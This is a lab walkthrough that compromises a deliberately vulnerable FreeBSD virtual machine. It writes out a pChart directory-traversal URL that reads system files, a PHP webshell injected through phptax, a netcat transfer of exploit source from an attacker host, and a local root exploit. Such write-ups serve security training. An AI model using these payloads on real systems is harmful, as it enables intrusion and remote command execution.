First, after downloading and importing the machine into VMware, I had to figure out the IP address of the machine. I used netdiscover -i eth0 until I came across the IP of this machine.
Next I ran threader3000 to enumerate the ports and let it complete it’s suggested nmap scan
It appears we have two websites open on ports 80 and 8080, let’s take a look at both. Let’s start with the one on port 80 first.
This appears to just be the default Apache webpage on older versions of Apache. Let’s look at port 8080 next.
I attempted to enumerate the site and gobuster was receiving a numerous amount of errors due to too many requests to both websites, so I decided to look at the source code of the sites, starting with the site on port 80 first. This is where I came across a comment that pointed to a potential directory.
I navigated to /pChart2.1.3/index.php and the page below appeared.
This looked like it rendered various chart types. A quick search for pChart 2.1.3 exploits led me to this article on exploit-db. After reviewing the exploit, it appears that we can use it to display data in a file. Let’s runhttp://[machine ip]/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd and see what happens.
We are able to view /etc/passwd and uncover that this is running FreeBSD. We know we were not able to get into the website on port 8080, so let’s view the apache.conf file with this exploit. A quick Google search turns up this documentation from the FreeBSD website - Apache’s default configuration file is found at /usr/local/etc/apache2x/httpd.conf, where the x is the version number. With the version in nmap listed as 2.2 earlier, I entered the following http://[[machine ip]]/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2fusr/local/etc/apache22/httpd.conf. This pulled up the main Apache configuration file as shown below:
At the bottom of the configuration file is the configuration for the website on port 8080. It appears we can access it using a Mozilla4 browser user agent.
Next, I installed User-Agent Switcher and Manager in Firefox which allows you to switch user agents. I then switched my user agent to Mozilla/4.0 and clicked on Apply (active window).
Next, I navigated to http://[machine ip]:8080 and I was now able to access this directory. It contains a folder named phptax
Let’s take a look at this site. It appears it is some sort of tax preparation software.
Let’s see if there are any known exploits for this software. I ran searchsploit phptax from my attacker PC and 3 results came up.
I tried all 3 of these exploits and unfortunately was not able to get any of them to work. However, I took a look at the source code of these 3 exploits (this can be done with searchsploit -x [exploit #]). When I ran searchsploit -x 25849, I noticed something interesting even though it did not work when I ran it normally.
It appears that this creates a php file named rce.php. I ran this by typing in http://[machine ip]:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E"; I didn’t get any errors, but I wasn’t sure where it saved rce.php to. Poking around it appears that by looking at the view portions of the images shows a /data/pdf directory I navigated there and it looks like there was some cleanup that hadn’t been done from testing on this box initially.
unfortunately, rce.php was not here. I moved up to the parent directory. There it is!
Let’s run http://[machine ip]:8080/phptax/data/rce.php?cmd=id and see what happens.
Great, now we can perform command injection. Let’s open up a netcat listener on our attacker pc with nc -nvlp 4444.
Let’s run uname -a, we can see this is running FreeBSD 9.0
In another tab on our attacker pc, let’s run searchsploit FreeBSD 9.0.
Let’s copy the first one listed to our current folder with searchsploit -m 28718.
Let’s go back to our foothold on the victim computer and see if gcc is present to compile this program.
It is present on our victim. Now we need to get the exploit over to the victim computer. Unfortunately, wget is not installed. Fortunately, we can copy this over with netcat, which is present on our victim computer.
On our attacker pc, let’s run nc -lp 4567 < 28718.c
Next, on our victim pc, let’s run nc [attacker ip] 4567 > 28718.c.
After a few seconds, terminate netcat on the attacker pc with CTRL+C. Go back to the attacker pc and run gcc -o 28718 28718.c
Now, run the exploit with ./28718 and run whoami. We are now root!
Now, let’s run cd /root and ls -al. You will see a congrats.txt file in there, so run cat congrats.txt to finish this box!